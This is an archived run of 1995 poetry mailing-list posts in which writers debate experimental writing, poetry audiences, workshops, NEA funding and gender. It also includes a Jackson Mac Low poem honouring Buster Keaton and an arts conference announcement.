There is a yuppie bookstore not far from my apartment called A Clean Well Lighted Place for Books. Occasionally, for a hoot, Kevin Killian and I will go to readings there. We always go see the most trashy, glitzy people, such as Donald Spoto, biographer of the stars--or Linda Gray Sexton talking about mommy's insantity. Hardly ever will I see a writer in the audience, which is, obviously, the opposite case for most poetry readings, where a non-writer is usually assumed to be a relative of one of the readers. I'm amazed by the middle brow pretentions of these Clean Well Lighted Place readings, the fetishization of books and authors, the pervasive sense of elitism--like the people there really think they're a class above the rest of humanity for reading a biography of Lawrence Oliver, or "Larry," as Donald Spoto affectionately called him in his presentation. One one level, I find this all humorous, but on another level, there is an edge of panic, like I never want my books to be carried at That Store or for Those People to touch them. I get monstrous flashes of The Picture of Dorian Gray, like something's bound to disintegrate, grow corrupt.

Despite all its pitfalls and its disregard by the rest of the world, the experimental writing world is cozy.

Dodie Bellamy

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105. Dodie Bellamy
Re: identity problems in the wild blue
Thu 5 Oct 1995

Herb Levy wrote:

"And, in the case of Acker,

> *disrupted narratives, a multiplicity of voices and ironic plagiarism*

is just as good a description of her current work as it is for her earlier writing."

Herb,

I was thinking the same thing about Ms. Acker. Thanks for verbalizing.

Dodie

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106. Gale Nelson
Re: Celan Salon
Thu 5 Oct 1995

Might French poetry have a greater influence because more people learn French in school, and then go on to translate work into English?

Gale Nelson

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107. ULMER SPRING
wild blue and art/writing
Thu 5 Oct 1995

As a kid of folks who worked in the SCLC during the Civil Rights movement, and who left when whites were asked to leave the movement during the middle sixties when the Black National movement and the anti-war movement took over SNCC, I am currently interviewing my father (my mother says she doesn't want to talk about it, and says that my father was much more involved than she) and writing (mostly not in sentences, but language poetry was a 'freedom' I found and lost long before I began thinking about it's origins) about this time of his life. I got interested in really asking my parents questions because of my involvement with current feminist critique that grew directly out of the

Abolition in the 1830-40's and the civil rights movement of the 1960's. My father's inability to treat sexism with the same concern that he treats racism, and my mother's silence, affected the way I was raised. My politics have not only grown from where my parents left off (I do not mean to demean the fact that they both have continued to lead political lives, building their own house, growing their own food, working for themselves, trying not to pay taxes, etc.), but also from my own experience as a woman in this world. Writing from concerns, be they concerns about writing, race, sex, etc... has raised my consciousness and appreciation of certain histories. I think we must first take the responsibilities ourselves to write about what we care about (writing to SAVE ourselves YES, yes, yes), before worrying about whether or not our audience is large enough. Movements start small. Brother Soledad, and Soul on Ice, are two books written by Black Nationalists who idenitified with a group of eight. Sit-ins began in schools. The Feminist Art Program in Fresno, was started by two women.

(ok, so I'm idealistic :) (plus I'm not as cynical of poets, primarily because I'm in art school).

Spring Ulmer

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108. Marshall H. Reese

Re: The Art and Poetry Worlds

Thu 5 Oct 1995

---

here's something I would like to add to the mix on this subject; i.e., the conservatism of the poetry world and the avant-gardism of the visual arts... just an observation...

that of all the individual artists fellowships funded by the NEA only the writers' and folk artists' remain...

let's remuninate on what that means?

is it that the "powers that be" think writers are safer than painters, photographers, et al., or that they know that no one reads or pays attention to the stuff???

hasta la vista, baby...

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109. **Steve Evans**

Out Beyond Its Edge / Keaton Centennial

Thu 5 Oct 1995

The centennial of Buster Keaton's birth was yesterday, in honor of which I hope Jackson Mac Low won't mind my posting the following:

36th Light Poem: _In Memorium_ Buster Keaton--4:50-6:18 A.M. Sat 1 Jan. 1972

1

As a Mad Scientist
Buster lights a Bunsen-burner flame
that starts a series of processes
that eventually releases The Monster

As an Undertaker
Buster lights a Bunsen-burner flame
that starts a series of processes
that awakens a drunk who was about to be buried as a corpse

As a Muscovite
Buster lights a sisal wick in a sesame-seed-oil lamp
that suddenly lights a mystical orgy
officiated over by Rasputin

As a Boater
Buster beats a cascade by floating out beyond its edge
borne by a balloon
lit by a wintry sun

As an Unwilling Passenger on a Drifting Liner
Buster the Millionaire & his rich Girl Friend
learn to cope Alone Without Servants
when forced to rely on the light of their Upper-Class Intellects

As a Worker
Buster arouses the Compassion of the Nation
in whose light the Corporations
sell themselves to their Workers

As a Key Man
Buster carries around with him
an enormous bunch of keys
lighting his way with a Keats lamp

As a Beatnik
Buster meditates in a Redwood forest

seated where the Selenic light
first falls at Moonrise

As a Leaf-&-Feather Gatherer
Buster Means Well but bugs everyone in the Park
spearing ladies' hats & picknickers' salads
in featureless Hollywood Light of the century's first quarter

As William Butler Years
Buster addresses an irate Irish crowd
that thinks that Poety makes Nothing Happen
but lets itself be bathed by its Truthful Light

As a Cannoneer
Buster explodes his own ship's magazine
treads water in Gunpowder Light at a safe distances
& blushes in embarrassment at his Clumsiness

As a Violinist
Buster surpasses Paganini
until Boston-Concert-Hall Light
Poisons him with Love for a Proper Bostonian Maiden

2

Spirit of Buster Keaton
if you survive as yourself
receive Please our honor & praise
you conscientious Workman

Hard-working Buster Keaton
when you arouse the laughter of children
as you live in Projector Light
Your Karmic Residue dissolves in Joyous Shouts

[from Jackson Mac Low's _Representative Works: 1938-1985_ (New York: Roof, 1986): 224-25]

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110. Burt Kimmelman
Re: poetry and visual art
Thu 5 Oct 1995

Dodie,

What artist colony was that?

burt

↑ Index

111. Burt Kimmelman
Re: The Art and Poetry Worlds
Thu 5 Oct 1995

Carolyn,

I don't see how "workshop" has to mean only "repair" and in fact that definition may more easily fall under the sway of "repair shop" or whatever. Workshop is where one does work; and I guess in modern terms where something is made. So now maybe the problem is that poems in these places are viewed as made things (like in the ME "makyr"-- but then there it also included "trobar," "to find"). Anyway, I guess the problem is that these "workshops" have become too rules based. Is this what Paul Engle envisioned for Iowa way back when? I remember when I attended a workshop run by Joel Oppenheimer at St. Mark's Church in the mid sixties--now that was a really wild, free wheeling and thrilling experience, everyone shouting and having a great time (and the implication was that rules could only take you so far); I learned a lot there. But I think that that workshop was a success finally because--setting aside the talent of its member-students--Oppenheimer led it in the sense that he personified it (or rather that its procedures and textures echoed him); he was a freewheeling soul himself, full of excrutiatingly witty and at times wickedly ironic humor, a big smile, a booming voice, long wild hair, and so on. His verse, too, in its time, was irreverant yet it had rigor and intelligence too.

I for one copied him. He for one let me and others copy him. He did not say: do this or do that. He had opinions. So did we.

RIP, Joel.

Burt

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112. Charles Alexander
Re: The Art and Poetry Worlds
Thu 5 Oct 1995

> *here's something I would like to add to the mix on this subject; i.e., the conservatism of the poetry world and the avant-gardism of the visual arts... just an observation...*
>
> *that of all the individual artists fellowships funded by the NEA only the writers' and folk artists' remain...*
>
> *let's remuninate on what that means?*

To put this into some perspective, we should know that the Literature Program of the NEA was one of the smallest of all the programs (something like 2.8% of the Endowment's funds, even though the percentage of applicants in the program was comparatively much higher); yet of all programs it had the highest percentage of funding to individuals. The most common argument put forward about why this was true (and the argument would also seem to make sense about why there are still individual fellowships for writers) is that nonprofit literary organizations and institutions are very weak when compared to visual arts, music, opera, dance, and other arts organizations. Another is that there has been no national service organization for literary organizations (CLMP has tried to fill part of this gap, but not all of it). So, since it wasn't very clear how to give the money to institutions, two things ensued -- not much money was given out, and most of it was given to individuals.

There may be other arguments as to why individual fellowships for writers have survived (thus far), but I haven't heard them.

Since you (Marshall Reese) know that individual funding for writers has survived, do you know what the current status is for funding of presses, literary centers, reading series, residencies, etc.? If you do, I'd like to know.

all best

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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113. Edward Foster
Re: ay sixes and sevens
Thu 5 Oct 1995

---

aldon: sorry to have taken so long to respond, but our e-mail system here (technological school, of course) has not been working. i've been able to move out of the 3-line format thanks to advice from a poet. the engineers around here had told me it couldn't be done. -ed

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114. tunguska
Re: situationism in the wild blue
Thu 5 Oct 1995

Mark;

Obviously, any writing that cops the attitude that it is, of a corpus whose experimental thrust is omni-resistant to meaning, to interpretation, hell, to penetration, let's not mince words, then one IS in the Wild Blue. And I hear you, there is a need to bring it down to earth, so to speak, and find situations and cultural contexts for which that resistance can speak. I think, and thanks for latching onto "anxiety" per se, that I, personally, have gotten involved with philosophy (as opposed to history or theater or pop culture) is that philosophy IS the ability, the spectre of a dangerous muddle, whether in thought or word, and that, interesting enough, in ITS history, there have been people who have met that respective challenge that has seemed to threaten their sense of conscience, or what have you. In a way that I think poetry, and the "playful literary" hasn't, or hasn't been over-ripe with (someone catch me on this one!). Obviously, labels and characterizations---no body wants it---and to defend "absolute freedom" in resistance to it, has its heroic moments, its situations. But, like that Foucault statement, I can't help feeling that, in the writing of poetry, I'm doing nothing more than adding to, or contributing to, or "bouncing" off of, a poetry-generated characterization (as Tom Beard said, who or what says that I have to write about socio-political so called situations!). And whether you think it's poetry-generated, or driven by assumptions from other regions, it IS something you, as a poet, are becoming involved with.

Furthermore, any writer who feels that he needs to align, or seek out a clarification of current cultural contexts et al, to get in to print, to get the ball rolling, MUST soon realize the inherent theatricality in that. Who wants their work to flutter into a pool of mere resemblance and representation, and NOT of their own intention. I think, for this reason, I myself got involved in "serial form", where, a certain syntagm reared itself where I would not have thought there to be one. The only place for clarification of that, and that process, I find in philosophy. After all, it was a philosopher, Wittgenstein, who said: philosophy's sole work now, is with language (sic). Is this a "cultural context" to be defined by popular events, by the weather, by hurricane opal and the oj trial?! (The other night, the boys, before the nightly rap session: OJ OJ OJ...FFFFuck nicole, man, fuck nicole! then non-stop rapping, of which the sole understandable was: "ev'ry other line rhymes!" and I laughed, was not enough to move me to write, tho the entire civilized world, to hear the news say it, was moved to do something, to take sides....) Maybe, but maybe NOT.

So, I'm afraid, it appears to me, that what I've presented to you, again, is that same ol' dialectic. But let's get even more specific, for the sake of this wild blue yonder. I've recently written a review of a young poet's first book, Stephen Ellis, a New Englander whose work on :that: may be familiar to readers here. The collection is entitled Site Drafts (Loose Gravel Press). What holds the book together, and the reason I find the writing both pleasing AND intelligent, is that it does not seem to be making a grab at inter-steller avant-gardisms. It is, in fact, a pretty basic collection, with the one difference, it doesn't use the substantive as a crutch, it doesn't cluster overmuch to "things", but straddles the predicative and the substantive thru a relatively controlled polysemy.(!) What I mean to say is, what I ended up talking about in the review, was neither a complete emphasis on form, nor one on content, but rather, brought the whole collection under inspection within the context of "being", as opposed to simply "feelings". The centerpiece, a serialized poem, observing and comparing the "work" (read language) habits of a group of construction workers, and the attitude expressed in the composition of the poet's book. It didn't seem important to me to speak of method's, but, it being only a short review, I felt that if I showed a habit of thought, or identity, it would allude more accurately to Ellis's poetry. So, a kind of characterization? I think so too. But, dare I say it, a characterization that waved a free hand toward primordiality. But is this something to be avoided in the "production" of art, of poetry, of literature? In other words, does the "situation" the cultural context, have to be of a certain narrowness, OR of a certain expansiveness to command "Attention" "respect" and just plain "interest?" I think that, tho, presumes as much as presumption itself (anxiety setting in...hell is other people....where's my beret, my gitanes, where did they go?!...)...

thilleman

tod thilleman

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115. **B. Cassidy**

Re: Influence query

Thu 5 Oct 1995

Prof. Forche --

Thought of one more for your list, though the influence may not be as direct as some of the others mentioned. I'm thinking about Heather McHugh. She has translated Celan, and thought the influence may be a bit more opaque, I think her way of self-conciously thinking THROUGH the medium of language owes something to Celan...

--Brian Cassidy

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116. Graham John Sharpe
Re: fragments, mourning/wild blue yonder still
Thu 5 Oct 1995

tod, perhaps a led you a little astray with that re-membering as oppose to remembering. the first one is mine as i have interpreted the process of remembering in first world war fiction. i can't help but see it as a very physical event - in terms of body parts, or creating liveable structures in their subterranean world. i think blunden, manning, barbusse and sassoon would support me on this. and chapman too, who had a wonderful line: "I could find nothing to say in letters. All communication was `dissed` as though the lines had been broken by a shell."

a very physical quality to their re-membering and communication.

perhaps for jones in works on several levels, including your notion of inter-animation. that sense of working between. there is i think for jones a notion of a linguistic transubstantion. the words and fragments used to "make-present" to turn, as Jones says "tokens into signs".

jones quote on remembering runs as follows:

I think we can assert that the poet is a `rememberer` and that it is a part of his business to keep open the lines of communication. One obvious way of doing this is by handling on such fragmented bits of our own inheritance as we have ourselves received. (Past & Present, in *Epoch and Artist*)

of jones and the renaissence poets. i'm affraid i know little of that. perhaps Peter Larkin has some ideas, or George can ask the Jones expert in his family. i do know however that there was a special issue on David Jones in *Renascence* 38:2, Winter 1986. hope that helps.

oh yes, and that should be Lingusitic _transubstantiation_. i forgot a few letters.

graham

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117. George Bowering
Re: The Art and Poetry Worlds/Stein
Thu 5 Oct 1995

I dont think that in 1995 there can be any question regarding Gertrude Stein's bein in the canon. Certainly that has happened long ago. [sorry if yr seeing glitches on this page] It was happening before she became a figure for feminist writers and critics. There is a huge outporing of books on every level, from

picture books to decent criticism and even some scholarship. Theses galore. I will admit that when I was teaching her in the late sixties in Montreal I was the only one doing so at my little university, but in those days, when the women's bookstores were finding her stuff in print again, I spent most of my time trying to tell the store managers who HD was. Now she too has been canonized. I would hope that HD and Stein are on the syllabus even at Northeast Illinois State or the like. If not, what the hell is happening down there?

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118. **Maria Damon**
Re: An especial danger to hard working poets (fwd)
Thu 5 Oct 1995

---

jorge, yr the greatest! if i must die, i'd like it to be through brain-explosion. but i don't think i stand a chance, i'm too slow and mellow. but wait --balancing a checkbook is considered intense mental activity???? as a compulsive e-mail checker, crossword puzzler and budget figure-outer, maybe i've got a shot at going down in flames!--md

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119. **George Bowering**
Re: The Art and Poetry Worlds
Thu 5 Oct 1995

Thanks to Burt, who brought up that wonderful poet Joel Oppenheimer [who was LEFT OUT of the Norton postmod anthol]. Yr right Burt, in joining his enthusiasm with his care as a poet. I loved him. When we paid him a lousy $100 to do a reading {he also got swank hotel and meals and party etc and travel] in Montreal in 1969 or thereabouts, he cashed the cheque and bought a hundred dollars worth of really nice underwear for his significant other.

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120. **Maria Damon**
Re: Poetry Wars
Thu 5 Oct 1995

---

and don't forget Denise levertov's fallings-out w/ practically anyone you cd care to mention. however, while i have some sympathy w/ charles's suspicions about a study of splits, i'm curious about the theoretical or analytical framework yr using. is this a counterbalance to all the work being done on "collaborations" (the homoerotics of, the feminist anti-individualism of, the subversive natures of, etc. etc) --if so that's kinda interesting. actually i think a related subject that has been way way undertheorized is friendship. not that i've investigated the

subject deeply on a scholarly level, but simone weil is the only person i've read on the subject who even focuses on it as a phenomenon worthy of analysis. it seems crucial though, in a look at artistic collaborations and/or rifts.--maria d

↑ Index

121. George Bowering
Re: An especial danger to hard working poets (fwd)
Thu 5 Oct 1995

I have recently heard a story about a terrible danger to "investigative reporters." Apparently once in a while their noses will just explode right off their faces! Have to wear prosthesis. Can make a little cash from stories in the New York News and the checkout mags.

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122. George Bowering
Re: wild blue and art/writing
Thu 5 Oct 1995

I have been trying, and I cant figure out how trying to save one's self is idealistic.

And trying not to pay taxes? Isnt that what the lawyers for the corporations are paid to do?

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123. Sheila E. Murphy
Re: Poetry Seams
Thu 5 Oct 1995

Maria D. writes:

> *actually i think a related subject that has been way way undertheorized is friendship.*
> *not that i've investigated the subject deeply on a scholarly level, but simone weil is the only person i've read on the subject who even focuses on it as a phenomenon worthy of analysis. it seems crucial though, in a look at artistic collaborations and/or rifts.*

Maria, I couldn't agree more. The rifts seem lazier and less interesting--certainly less refined. The linkages that work seem more intriguing to me.

Sheila

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124. Charles Alexander
Joel Oppenheimer
Thu 5 Oct 1995

> *Thanks to Burt, who brought up that wonderful poet Joel Oppenheimer [who was LEFT OUT of the Norton postmod anthol]. Yr right Burt, in joining his enthusiasm with his care as a poet. I loved him. When we paid him a lousy $100 to do a reading {he also got swank hotel and meals and party etc and travel] in Montreal in 1969 or thereabouts, he cashed the cheque and bought a hundred dollars worth of really nice underwear for his significant other.*

Just to echo Burt and George. Joel was a gentleman, in the greatest sense, a fine wit, and a hoot. It was a pleasure to have known him.

charles

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125. Tom Beard
whyld blue avant-pop
Thu 5 Oct 1995

Herb Levy writes:

> *Leyner, Acker, & Gibson are, chronologically at least, in the same generation as the "past" generation you say they're reacting to (I don't know about Eurydice, Coupland's younger), so the genealogy isn't that simple.*

I mentioned some of the better-known names - most of the people mentioned in Mark Amerika's "Smells like Avant-Pop" are presumably younger, but I have heard little about them, and can't find their books in this dusty corner of the Pacific. Leyner, Acker & Gibson (that well-known law firm) are, however, younger than Pynchon and Burroughs, who are regarded as the forerunners of Avant-Pop.

Now that you mention it, I remember being surprised when I saw a dust-jacket photo of Mark Leyner - the blurb made him out to be some sort of enfant terrible, and I looked at him and thought "My God, he's old!"

> *And, in the case of Acker,*
>
> *disrupted narratives, a multiplicity of voices and ironic plagiarism*
>
> *is just as good a description of her current work as it is for her earlier writing. I think a case could be made for reading Leyner's current work in the same light, though he has a smoother narrative surface than Acker.*

I think that the claims being made for Avant-Pop being different from PoMo rest more upon content than form: A&P takes the "Avant" techniques of earlier generations and applies them to "Pop" material. An A&P writer is more likely to look to music videos, hip-hop, comics, B-movies, virtual reality, drug culture and advertising for material and formal inspiration than an "older" (not neccesarily chronologically) post-modern writer such as Calvino, Barnes or Eco. Julian Barnes might not be much older than the more senior Avant-Popsters, but he has an air of smug, middle-class cleverness that gets up the collective nose of the more aggressively Gen-X A&P writers. I still prefer Barnes, myself - I guess I relate to smug, middle-class cleverness :-).

> *As to who might be an "Avant-Pop" poet, how about Gregory Corso?*

I'll check him out, thanks.

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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126. Tom Beard
whyld, comfy blue
Thu 5 Oct 1995

Dodie writes:

> *I was intrigued by what you had to say about knowing your audience on a first name basis. Even though that comes out of a devaluing of poetry, it is an incredibly priviledged position. The text remains yours, even though others have access to it. Your audience tends to be incredibly sophisticated and interactive. It's a comfy, sweet world. Sometimes I will come across someone who has read my writing, whom I don't know, and when this happens I always feel a tiny bit raped. I know it's a silly feeling, but it's there: some stranger has had access to me.*
>
> *Despite all its pitfalls and its disregard by the rest of the world, the experimental writing world is cozy.*

I thought that experimental writing was supposed to be dangerous? If one's entire audience (both of them) shares one's concerns and preconceptions, there's little chance of offending, surprising or challenging, and it seems to me that the only danger that one faces is that of becoming bland and complacent.

To me, one of the reasons that I aim to have my work published is that the text is _no longer_ mine: it's out there in the textual world, being read, discussed, rewritten, misunderstood, loved, loathed, whatever. Perhaps this is a male thing: we want recognition, fame (some hope!) and the impression that our texts are striding the face of the earth, being proactive and manly; whereas women invest more of themselves in their writing and want to protect it (I realise that this is an oversimplification - but the word "raped" in Dodie's post ivites a reading along these lines). When I do write something to which I want strangers to have no access, I don't submit it for publication. But I can't imagine _not_ being flattered if a stranger told me that he or she knew my work.

> *Hardly ever will I see a writer in the audience, which*
> *is, obviously, the opposite case for most poetry readings, where a non-writer*
> *is usually assumed to be a relative of one of the readers.*

I still feel profoundly sad at the fact that hardly anyone other than poets and professional critics reads contemporary poetry. Someone (it might have been Barrett Watten) was quoted in one of the articles from _In the American Tree_ as saying that he saw this as an advantage - that readers play an equal part in the creative process. Perhaps so, but I still hope that "open works" can turn readers who are otherwise non-writers into participants in the poem, rather than realizing the equation reader=writer by narrowing down the field of readers until it is the same size as the field of writers.

To do this, the text must answer the reader's question, "why should I create my own field of meanings from this poem here, rather than this other poem, or this movie, or this page of the telephone book?" If we are asking readers to put some work into our poems, shouldn't we offer them something in return? The challenge, as I see it, is to write poems that are challenging, polysemic and subtle, but that have some "hook" that will make the reader _want_ to come back to the poem again and again. Maybe if I live to 130 I'll write one such poem.

> *there is an edge of panic, like I never*
> *want my books to be carried at That Store or for Those People to touch them.*
>
> *the people there really think they're a class above the rest of humanity*

These two statements read interestingly when juxtaposed. I just wish that the so-called "yuppies", the well-educated professionals who might read literary fiction, go to art-house movies and buy contemporary artworks, might read poetry from time to time. Where does the problem lie - with the non-readers, with their education, with the way that poetry is presented, or with the kind of poetry that we write?

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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127. Sheila E. Murphy
Re: AWOL: ARTS ONLINE CONFERENCE
Fri 6 Oct 1995

> *The Arts Law Centre of Australia presents*
> *ARTS ONLINE: Getting Started in Multimedia and Online Publishing*
>
> *A conference on fundamental business and legal aspects of multimedia and online publishing*
>
> *Tuesday 24 October 1995 :1.30 to 4.30pm*
> *Domain Theatre, Level 1*
> *The Art Gallery of New South Wales*

Mark (and others) - What about holding a conference of this nature online? Several years back, I chaired such an effort as a part of university duties. We spent about two or three weeks, as I recall, conferring about specific topics in structured formats. We maintained a running chat line (simulating the hallways and break areas). I'm sure it could be argued that we're already doing something like that here. The difference, of course, lies in the focus, the preparation, and the manner of responding. Less of an off-the-cuff arrangement can be quite interesting and productive.

Sheila

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128. Dodie Bellamy
Consumer Item
Fri 6 Oct 1995

Tom Beard writes:

"To me, one of the reasons that I aim to have my work published is that the text is _no longer_ mine: it's out there in the textual world, being read, discussed, rewritten, misunderstood, loved, loathed, whatever. Perhaps this is a male thing: we want recognition, fame (some hope!) and the impression that our texts are striding the face of the earth, being proactive and manly; whereas women invest more of themselves in their writing and want to protect it (I

realise that this is an oversimplification - but the word "raped" in Dodie's post ivites a reading along these lines)."

Tom,

I thought, from previous posts, you were into being young and hip. I shouldn't need to remind you that these days this kind of essentialism, even if you try to undercut it, simply won't fly.

Dodie

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129. **Tom Beard**
Re: Consumer Item
Fri 6 Oct 1995

I wrote:

> *To me, one of the reasons that I aim to have my work published is that the text is _no longer_ mine: it's out there in the textual world, being read, discussed, rewritten, misunderstood, loved, loathed, whatever. Perhaps this is a male thing: we want recognition, fame (some hope!) and the impression that our texts are striding the face of the earth, being proactive and manly; whereas women invest more of themselves in their writing and want to protect it (I realise that this is an oversimplification - but the word "raped" in Dodie's post ivites a reading along these lines)."*

to which Dodie replied,

> *I thought, from previous posts, you were into being young and hip. I shouldn't need to remind you that these days this kind of essentialism, even if you try to undercut it, simply won't fly.*

Dodie,

I'm not sure what you're referring to as "essentialism" - my wish to have my poems be no longer my own, but "public property" in some sense; or my question as to whether such wishes could be characterised as male.

In the first case, I'm not trying to evoke some sort of New-Critical impression that texts are essentially autonomous objects - far from it. I meant to imply that what we write ceases to be _entirely_ ours when someone else reads it - any reader makes what he or she reads partly his or her own, and this multiplicity of "hybrid" texts is what I want to evolve from my original, static work. There are as many versions of a poem as there are readers of it, and since I view this cross-fertilisation process as exciting and creative, I would like there to be as many active readers as possible.

In the second case, I wasn't claiming some essential difference between the sexes. I was just anticipating a response along the lines of "huh, typical male,

wanting all the attention", and caricaturing my own position a little in order to invite some debate. _Do_ women feel that men want their texts to be active, aggressive and famous, whereas women want their texts to remain their own?

As far as being young and hip goes, I'm not sure that I'm into being either. I'm Generation W: too young to make a killing during the 80s like everyone else was supposed to be doing, but too old to indulge in Gen X self-pity. In terms of poetry, Langpo hasn't made much of a dent here, so I'm coming to it late, finding that much of it began in the 70s, and wondering what's regarded as the cutting edge in the Americas in the 90s. In terms of Theory (a term that's always seemed a little arrogant to me, implying that cultural/literary/semiotic theory is all there is, and that quantum electrodynamic theory, post-Darwinian evolutionary theory, information theory, quasi-geostrophic theory or whatever are all subsets thereof), I'm also a beginner, finding much that intrigues, amuses, bewilders or infuriates me. Besides, no-one with a BSc could ever be _truly_ hip.

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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130. Alan Sondheim

Re: Consumer Item

Fri 6 Oct 1995

I always feel ill at ease when the phrase "whereas women" or "whereas men" appears. Whatever differences there may be among the sexes vis-a-vis cognitive psy studies, it's always been clear that the bandwidths within the varying positions are far greater. Ambition, foreclosure, etc. are the province of no one. Certainly there are areas to explore vis-a-vis the positions of the feminine (Brossard comes to mind strongly here), and certainly the hegemonic position of the name-of-the-father (I hesitate to use 'masculine' because the field is problematic to the extent that it is rendered transcendent and invisible) across our cultures creates at best fissured structures, hardly oppositions in the traditional structuralist sense. The "whereas" seems to collapse gender troubles to rigidified po- sitions, and therein lie problems.

And what does it mean to know women or men, to describe them?

Alan

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131. R I Caddel
poets n parties
Fri 6 Oct 1995

Funny how important those parties seem to be...

Thanks, Dodie, for stressing the joke. Actually my bit about being on first name terms etc. was also a joke, or at least an ironic piece of British self-deprecation (sorry, I can't direct you to the film archetypes for this). My "audience" is fairly interactive, but not universally sophisticated, I'm happy to say. Only the other day - literal truth - a new student (social sciences) saw my nameplate on the library's public information desk where I was working and said - Oh - Are you Richard Caddel The Poet - etc etc. But (a) I can count on one hand the times anything approaching this has happened, and (b) by the end of that encounter we were on 1st name terms - another Unknown Reader bites the dust (I'm thinking of the Duncan quote, where he imagines his unknown reader as a little old Beatrix Potter like person...)

Having to defend the space for the whole idea of my work (and that of others I like) amongst people who on my off-days I'd call philistine, (who think because I'm "a poet" I want to read Carol Ann Duffy or the like) I don't consider it a "cozy" or "comfy" world, but it's one I choose. The main "priviledge" of working in a low-funding, low-exposure form is that you get to work in you own terms undisturbed, and that I like. Today Heaney ("Shameless Ninny" as Eric Mottram called him) got his gong, and that's great - he's a nice fellow and has a coupla good lines - which puts him ahead of many - he can front it and face the ballyhoo, and I can get back to the coalface.

x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

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132. CAROLYN L. FORCHE-MATTISON
Re: The Art and Poetry Worlds
Fri 6 Oct 1995

Dear Charles, Your analysis of the NEA literary program (proportion of overall budget/applicannt ratio and reasons for the high percentage of individual fellowship grants is on the mark. The individual fellowships to

writers were saved for the reasons mentioned, and also because a very focussed lobbying effort organized by LitNet (AWP, CLMP, Poets&Writers, Curbstone Press) argued for retention of these particular fellowships. I have no idea why folk arts retained individual fellowships. Poets and writers haven't been uncontroversial for the NEA (Allen G. and Peter O. drew congressional attention about ten years ago, and in the past years, several applicants have been "flagged" for denial by the Council). It is by no means certain that the literature fellowships will survive final mark-up, this year or next. --Carolyn

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133. CAROLYN L. FORCHE-MATTISON

Re: The Art and Poetry Worlds

Fri 6 Oct 1995

Dear Burt,

I agree. I was attempting to describe the workshop which seems (perhaps I'm wrong about this?) to prevail in the academy at the moment, with notable exceptions. St. Marks has remained exemplary (and like Just Buffalo, Woodland Pattern and others, operates outside/beyond the academy to the great benefit of everyone).

--Carolyn

On Thu, 5 Oct 1995, Burt Kimmelman [redacted] wrote:

> *Carolyn,*
>
> *I don't see how "workshop" has to mean only "repair" and in fact that definition may more easily fall under the sway of "repair shop" or whatever. Workshop is where one does work; and I guess in modern terms where something is made. So now maybe the problem is that poems in these places are viewed as made things (like in the ME "makyr"--but then there it also included "trobar," "to find"). Anyway, I guess the problem is that these "workshops" have become too rules based. Is this what Paul Engle envisioned for Iowa way back when? I remember when I attended a workshop run by Joel Oppenheimer at St. Mark's Church in the mid sixties--now that was a really wild, free wheeling and thrilling experience, everyone shouting and having a great time (and the implication was that rules could only take you so far); I learned a lot there.*
> *But I think that that workshop was a success finally because--setting aside the talent of its member-students--Oppenheimer led it in the sense that he personified it (or rather that its procedures and textures echoed him); he was a freewheeling soul himself, full of excrutiatingly witty and at times wickedly ironic humor, a big smile, a booming voice, long wild hair, and so on. His verse, too, in its time, was irreverant*

> *yet it had rigor and intelligence too.*
>
> *I for one copied him. He for one let me and others copy him. He did not say: do this or do that. He had opinions. So did we.*
>
> *RIP, Joel.*
>
> *Burt*

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134. B. Cassidy
Re: Out Beyond Its Edge / Keaton Centennial
Fri 6 Oct 1995

Speaking of Keaton...

Does anyone know if or how one could get a video copy of Beckett's "Film" which Keaton starred in? Been looking for it for a couple of years now. Thanks.

--Brian

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135. H. T. KIRBY-SMITH
Prosody List
Fri 6 Oct 1995

Just wanted to mention that the PROSODY list has suddenly blossomed. (subscribe at listserv.msu.edu). Originally set up, to judge from its description, as a forum for questions of meter, structure, form, etc, it has in recent years been the site of postings mainly having to do with linguistics, phonology, etc.; it seems the word "prosody" was appropriated some time back for the study of natural sound patterns in language.

All of a sudden quite a number of postings have appeared there on poetry, though. None on current events so far and no group-therapy for angst yet.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

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136. **Mark Roberts**

AWOL: ARTS ONLINE CONFERENCE

Fri 6 Oct 1995

The Arts Law Centre of Australia presents
ARTS ONLINE: Getting Started in Multimedia and Online Publishing

A conference on fundamental business and legal aspects of multimedia and online publishing

Tuesday 24 October 1995 :1.30 to 4.30pm
Domain Theatre, Level 1
The Art Gallery of New South Wales

PROGRAM:

SESSION 1: Project Development

Chair: Michael Hill, coordinator of New Media, Australian Film Commission.

The following topics will be discussed: project development of multimedia and online works, accessing funds, multimedia and online platforms, appropriate software, training facilities, budgeting, contracting and maintaining creative control .

Speakers :

Phillip Keir, publisher, Rolling Stone and Next On-Line
Laura Tricker, producer, Monitor Information Systems
Phillip Tanner, producer, A Couple 'A Cowboys
John Colette, multimedia artist; coordinator of the new media program at the Australian Film, Television and Radio School

SESSION 2: Legal Issues

Chair: Samantha Mostyn, consultant to the PM on multimedia

Part 1:

Roleplay on the practical steps of copyright clearance for interactive multimedia works: what rights do I need? how do I locate the copyright owner? how much do I pay?

Speakers:

Laura Tricker, producer, Monitor Information Systems
Morris Averill, solicitor, Heidtman and Co.

Part 2:

The legal responsibilities of online publisher: Can an online publisher be liable for pirated material or defamatory statements transmitted via their systems? what risk management steps can be used?

Speaker:

Stephen Peach, solicitor, Gilbert and Tobin Technology Lawyers

Costs: Individual $50; Subscriber to the Arts Law Centre $40; Full time student/unemployed $25. $

For further information contact the Arts Law Centre on
Ph: 02 [redacted]
Fax: 02 [redacted]
email: [redacted]

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137. **Maria Damon**
Re: Influence query
Fri 6 Oct 1995

---

